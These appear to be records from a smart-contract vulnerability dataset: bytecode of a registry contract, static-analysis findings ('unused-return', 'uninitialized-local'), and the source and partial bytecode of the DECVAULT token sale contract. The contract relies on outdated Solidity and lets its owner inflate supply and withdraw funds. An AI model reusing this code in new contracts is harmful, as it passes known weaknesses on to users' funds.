4051908101604052809291908181526020018280548015611af757602002820191906000526020600020905b815481526020019060010190808311611ae3575b5050505050905090565b33600090815260208190526040902054600114611b7f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f636c6173730000000000000000000000000000000000000000000000000000001415611c17576bffffffffffffffffffffffff8111801590611bc257508015155b611bcb57600080fd5b600083815260046020526040902060020180547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff8316179055611cf6565b817f64656300000000000000000000000000000000000000000000000000000000001415611ca55760ff811115611c4d57600080fd5b600083815260046020526040902060010180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000060ff841602179055611cf6565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614095602b913960400191505060405180910390fd5b604080518481526020810184905280820183905290517f851aa1caf4888170ad8875449d18f0f512fd6deb2a6571ea1a41fb9f95acbcd19181900360600190a1505050565b6000908152600460205260409020600201546bffffffffffffffffffffffff1690565b60009081526004602052604090206003015473ffffffffffffffffffffffffffffffffffffffff1690565b60009081526004602052604090206001015474010000000000000000000000000000000000000000900460ff1690565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b60009081526004602052604090206001015473ffffffffffffffffffffffffffffffffffffffff1690565b33600090815260208190526040902054600114611e8657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b8615801590611ea157506bffffffffffffffffffffffff8711155b611f0c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d636c61737300000000000000604482015290519081900360640190fd5b60ff881115611f7c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d646563000000000000000000604482015290519081900360640190fd5b60008b8152600460205260408120600201546bffffffffffffffffffffffff166120b0576005546bffffffffffffffffffffffff1161201c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f746f6f2d6d616e792d696c6b7300000000000000604482015290519081900360640190fd5b506005805460018101825560008290527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0018c905554604080518d815290517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909201917f74ceb2982b813d6b690af89638316706e6acb9a48fced388741b61b510f165b79181900360200190a1612106565b5060008b8152600460209081526040918290205482518e815292516bffffffffffffffffffffffff909116927f176e1433f84712b82b982cc7a7b738797bd98e17b0882a6edc1a9a89e3dcbdfa92908290030190a15b604051806101200160405280826bffffffffffffffffffffffff1681526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020018b73ffffffffffffffffffffffffffffffffffffffff1681526020018a60ff168152602001896bffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff16815260200186868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250505090825250604080516020601f870181900481028201810190925285815291810191908690869081908401838280828437600092018290525093909452505060058054600493506bffffffffffffffffffffffff861690811061224657fe5b600091825260208083209091015483528281019390935260409182019020835181548585015173ffffffffffffffffffffffffffffffffffffffff9081166c010000000000000000000000009081026bffffffffffffffffffffffff9485167fffffffffffffffffffffffffffffffffffffffff0000000000000000000000009485161785161785559487015160018501805460608a015160ff1674010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff9385167fffffffffffffffffffffffff00000000000000000000000000000000000000009283161793909316929092179055608088015160028601805460a08b01518516909802918616979094169690961790931694909417905560c08501516003830180549190941691161790915560e0830151805191926123a492600485019290910190613ee0565b5061010082015180516123c1916005840191602090910190613ee0565b505050505050505050505050505050565b60608183111580156123e5575060055482105b61245057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d696e70757400000000000000604482015290519081900360640190fd5b606083830360010167ffffffffffffffff8111801561246e57600080fd5b50604051908082528060200260200182016040528015612498578160200160208202803683370190505b5090506000845b8481116124e157600581815481106124b357fe5b90600052602060002001548383815181106124ca57fe5b60209081029190910101526001918201910161249f565b5090949350505050565b6000908152600460205260409020546bffffffffffffffffffffffff1690565b3360009081526020819052604090205460011461258957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000818152602081815260409182902060019055815192835290517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609281900390910190a150565b60008181526004602081815260409283902090910180548351601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561269e5780601f106126735761010080835404028352916020019161269e565b820191906000526020600020905b81548152906001019060200180831161268157829003601f168201915b50505050509050919050565b60008181526004602090815260409182902060050180548351601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561269e5780601f106126735761010080835404028352916020019161269e565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b6000818152600460208181526040928390205483517f36569e77000000000000000000000000000000000000000000000000000000008152935173ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b8116956c0100000000000000000000000090930416936336569e77938382019390929190829003018186803b1580156127f957600080fd5b505afa15801561280d573d6000803e3d6000fd5b505050506040513d602081101561282357600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146128a757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d696c6b000000000000000000604482015290519081900360640190fd5b6000818152600460208181526040928390205483517f957aa58c00000000000000000000000000000000000000000000000000000000815293516c0100000000000000000000000090910473ffffffffffffffffffffffffffffffffffffffff169363957aa58c93818101939291829003018186803b15801561292957600080fd5b505afa15801561293d573d6000803e3d6000fd5b505050506040513d602081101561295357600080fd5b50516001146129ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806140c0602b913960400191505060405180910390fd5b6000818152600460205260409020600201546bffffffffffffffffffffffff1660018114806129ea5750806bffffffffffffffffffffffff166002145b612a5557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d636c61737300000000000000604482015290519081900360640190fd5b600354604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101859052815160009373ffffffffffffffffffffffffffffffffffffffff169263d9638d369260248082019391829003018186803b158015612ac357600080fd5b505afa158015612ad7573d6000803e3d6000fd5b505050506040513d6040811015612aed57600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116612b7357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f7069702d696e76616c6964000000000000000000604482015290519081900360640190fd5b60008381526004602090815260409182902060020180546bffffffffffffffffffffffff166c0100000000000000000000000073ffffffffffffffffffffffffffffffffffffffff861602179055815185815291517f176e1433f84712b82b982cc7a7b738797bd98e17b0882a6edc1a9a89e3dcbdfa9281900390910190a1505050565b6005546000908210612c6a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f496c6b52656769737472792f696e6465782d6f75742d6f662d72616e67650000604482015290519081900360640190fd5b60058281548110612c7757fe5b90600052602060002001549050919050565b6000818152600460205260409020546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1680612d2a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d696c6b000000000000000000604482015290519081900360640190fd5b6000828152600460205260409020600201546bffffffffffffffffffffffff166001811480612d675750806bffffffffffffffffffffffff166002145b612dd257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d636c61737300000000000000604482015290519081900360640190fd5b8173ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b815260040160206040518083038186803b158015612e1857600080fd5b505afa158015612e2c573d6000803e3d6000fd5b505050506040513d6020811015612e4257600080fd5b505115612eb057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f496c6b52656769737472792f696c6b2d6c697665000000000000000000000000604482015290519081900360640190fd5b612eb983613d4e565b6040805184815290517f42f3b824eb9d522b949ff3d8f70db1872c46f3fc68b6df1a4c8d6aaebfcb67969181900360200190a1505050565b33600090815260208190526040902054600114612f6f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811660008181526020818152604080832092909255815192835290517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9281900390910190a150565b3360009081526020819052604090205460011461304b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b61305481613d4e565b6040805182815290517f42f3b824eb9d522b949ff3d8f70db1872c46f3fc68b6df1a4c8d6aaebfcb67969181900360200190a150565b6000908152600460205260409020600201546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1690565b6004602081815260009283526040928390208054600180830154600280850154600386015497860180548a5161010096821615969096027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011692909204601f81018890048802850188019099528884526bffffffffffffffffffffffff808616996c010000000000000000000000009687900473ffffffffffffffffffffffffffffffffffffffff9081169a8187169a7401000000000000000000000000000000000000000090970460ff1699938516989094048116969316949193918301828280156131f45780601f106131c9576101008083540402835291602001916131f4565b820191906000526020600020905b8154815290600101906020018083116131d757829003601f168201915b5050505060058301805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529495949350908301828280156132a25780601f10613277576101008083540402835291602001916132a2565b820191906000526020600020905b81548152906001019060200180831161328557829003601f168201915b5050505050905089565b6000908152600460205260409020546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1690565b6060806000806000806000806132f8613f5e565b60008a81526004602081815260409283902083516101208101855281546bffffffffffffffffffffffff80821683526c010000000000000000000000009182900473ffffffffffffffffffffffffffffffffffffffff90811684870152600180860154808316868b015274010000000000000000000000000000000000000000900460ff166060860152600280870154938416608087015293909204811660a085015260038501541660c08401529483018054875161010097821615979097027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f81018590048502860185019096528585529094919360e086019390929083018282801561344f5780601f106134245761010080835404028352916020019161344f565b820191906000526020600020905b81548152906001019060200180831161343257829003601f168201915b505050918352505060058201805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529382019392918301828280156135015780601f106134d657610100808354040283529160200191613501565b820191906000526020600020905b8154815290600101906020018083116134e457829003601f168201915b5050509190925250505060e081015161010082015160808301516060840151604085015160a0860151602087015160c090970151959f50939d506bffffffffffffffffffffffff9092169b5060ff16995097509550909350915050919395975091939597565b60006020819052908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b3360009081526020819052604090205460011461361357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b827f6e616d6500000000000000000000000000000000000000000000000000000000141561365e57600084815260046020819052604090912061365891018383613fac565b506136f3565b827f73796d626f6c000000000000000000000000000000000000000000000000000014156136a2576000848152600460205260409020613658906005018383613fac565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614116602a913960400191505060405180910390fd5b7f6a04c0a277676f3a4d382fc6167bf871235d53006834505ea2d2c6101041eda88484848460405180858152602001848152602001806020018281038252848482818152602001925080828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690920182900397509095505050505050a150505050565b3360009081526020819052604090205460011461380557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f646f670000000000000000000000000000000000000000000000000000000000141561387257600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905561399d565b817f636174000000000000000000000000000000000000000000000000000000000014156138df57600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905561399d565b817f73706f7400000000000000000000000000000000000000000000000000000000141561394c57600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905561399d565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806140eb602b913960400191505060405180910390fd5b6040805183815273ffffffffffffffffffffffffffffffffffffffff8316602082015281517f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba929181900390910190a15050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b33600090815260208190526040902054600114613a8b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f67656d00000000000000000000000000000000000000000000000000000000001415613b0757600083815260046020526040902060010180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055613c6a565b817f6a6f696e000000000000000000000000000000000000000000000000000000001415613b7b57600083815260046020526040902080546bffffffffffffffffffffffff166c0100000000000000000000000073ffffffffffffffffffffffffffffffffffffffff841602179055613c6a565b817f70697000000000000000000000000000000000000000000000000000000000001415613bf257600083815260046020526040902060020180546bffffffffffffffffffffffff166c0100000000000000000000000073ffffffffffffffffffffffffffffffffffffffff841602179055613c6a565b817f786c697000000000000000000000000000000000000000000000000000000000141561394c57600083815260046020526040902060030180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b604080518481526020810184905273ffffffffffffffffffffffffffffffffffffffff83168183015290517f4ff2caaa972a7c6629ea01fae9c93d73cc307d13ea4c369f9bbbb7f9b7e9461d9181900360600190a1505050565b60408051602080825281830190925260609182919060208201818036833701905050905060005b6020811015613d4757838160208110613d0057fe5b1a60f81b828281518110613d1057fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101613ceb565b5092915050565b600081815260046020526040812054600580546bffffffffffffffffffffffff90921692917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8101908110613d9f57fe5b906000526020600020015490508060058381548110613dba57fe5b60009182526020808320919091019290925582815260049091526040902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff84161790556005805480613e1957fe5b6000828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff908101839055909201909255848252600490819052604082208281556001810180547fffffffffffffffffffffff000000000000000000000000000000000000000000169055600281018390556003810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690559190613ecb90830182614038565b613ed9600583016000614038565b5050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613f2157805160ff1916838001178555613f4e565b82800160010185558215613f4e579182015b82811115613f4e578251825591602001919060010190613f33565b50613f5a92915061407f565b5090565b604080516101208101825260008082526020820181905291810182905260608082018390526080820183905260a0820183905260c082019290925260e0810182905261010081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061400b578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555613f4e565b82800160010185558215613f4e579182015b82811115613f4e57823582559160200191906001019061401d565b50805460018160011615610100020316600290046000825580601f1061405e575061407c565b601f01602090049060005260206000209081019061407c919061407f565b50565b5b80821115613f5a576000815560010161408056fe496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d75696e74323536496c6b52656769737472792f696c6b2d6e6f742d6c6976652d7573652d72656d6f76652d696e7374656164496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d61646472657373496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d737472696e67496c6b52656769737472792f696e76616c69642d61756374696f6e2d636f6e7472616374496c6b52656769737472792f696e76616c69642d6a6f696e2d616461707465722d766174496c6b52656769737472792f616461707465722d6e6f742d617574686f72697a6564a2646970667358221220d843537e2ddecadd26a94b08219645ac97fd4d1fa6d605d803bfed0196d56f7f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,482
0x3d259b5cf3e73bad40e9c1955d77faf3eb7a6876
pragma solidity ^0.4.25; /** * @title DECVAULT Project */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DECVAULT is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "DECVAULT"; string public constant symbol = "DAT"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 3000000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 5 ether / 1000; // 0.005 Ether uint256 public tokensPerEth = 25000000e8; uint public target0drop = 1200; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x2E16bc5BF3Fd3f0ca0aD371c337836De73fE198C ; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 2000000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 15 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 10 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 5000e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a9610863565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a036004351660243561089a565b604080519115158252519081900360200190f35b34801561026257600080fd5b50610192600435610942565b34801561027a57600080fd5b506102836109af565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a03600435811690602435166044356109b5565b3480156102cb57600080fd5b50610283610b28565b3480156102e057600080fd5b50610192600435610b2e565b3480156102f857600080fd5b50610283610b88565b34801561030d57600080fd5b50610192600435610b8d565b34801561032557600080fd5b50610283610c6c565b34801561033a57600080fd5b50610283600160a060020a0360043516610c72565b34801561035b57600080fd5b50610283610c8d565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c98565b34801561039457600080fd5b50610283610cbd565b3480156103a957600080fd5b50610283610cc3565b3480156103be57600080fd5b50610192610cc9565b3480156103d357600080fd5b506101a9610d26565b3480156103e857600080fd5b50610242610d5d565b3480156103fd57600080fd5b50610192600435610de1565b34801561041557600080fd5b50610242600160a060020a0360043516602435610e33565b34801561043957600080fd5b50610242600160a060020a0360043516610f12565b34801561045a57600080fd5b50610242610f27565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610f37565b34801561049657600080fd5b50610283610fe8565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610fee565b3480156104d257600080fd5b50610242600160a060020a0360043516611019565b3480156104f357600080fd5b5061028361116d565b34801561050857600080fd5b50610283611173565b34801561051d57600080fd5b50610192600160a060020a0360043516611179565b34801561053e57600080fd5b506101926024600480358281019291013590356111cb565b600080600080600080600080600d60149054906101000a900460ff1615151561057e57600080fd5b600a546000985088975087965067016345785d8a00009550670de0b6b3a76400009450674563918244f40000935084906105be903463ffffffff61122416565b8115156105c757fe5b0497503391506611c37937e0800034101580156105e5575060055442105b80156105f2575060075442105b80156105ff575060065442105b1561065d5784341015801561061357508334105b15610627576064600589025b049550610658565b83341015801561063657508234105b15610646576064600a890261061f565b348311610658576064600f89025b0495505b6106ca565b6611c37937e080003410158015610675575060055442105b8015610682575060075442115b801561068f575060065442105b156106c5578334101580156106a357508234105b156106b35760646005890261061f565b348311610658576064600a8902610654565b600095505b87860196508715156107685750600160a060020a03811660009081526004602052604090205464746a5288009060ff1615801561070b5750600b54600c5411155b1561074f5761071a828261124d565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610763565b6611c37937e0800034101561076357600080fd5b6107ef565b60008811801561077f57506611c37937e080003410155b156107db57600554421015801561079857506007544210155b80156107a5575060065442105b156107ba576107b4828961124d565b50610763565b3485116107cb576107b4828861124d565b6107d5828961124d565b506107ef565b6611c37937e080003410156107ef57600080fd5b6008546009541061081f57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600d54604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610858573d6000803e3d6000fd5b505050505050505050565b60408051808201909152600881527f4445435641554c54000000000000000000000000000000000000000000000000602082015281565b600081158015906108cd5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b156108da5750600061093c565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461095c57600080fd5b60085461096f908363ffffffff61133016565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b6000606060643610156109c457fe5b600160a060020a03841615156109d957600080fd5b600160a060020a0385166000908152600260205260409020548311156109fe57600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610a2e57600080fd5b600160a060020a038516600090815260026020526040902054610a57908463ffffffff61133d16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a94908463ffffffff61133d16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610ad8908463ffffffff61133016565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061149183398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610b4857600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610ba757600080fd5b33600090815260026020526040902054821115610bc357600080fd5b5033600081815260026020526040902054610be4908363ffffffff61133d16565b600160a060020a038216600090815260026020526040902055600854610c10908363ffffffff61133d16565b600855600954610c26908363ffffffff61133d16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b6611c37937e0800081565b600154600160a060020a03163314610caf5760008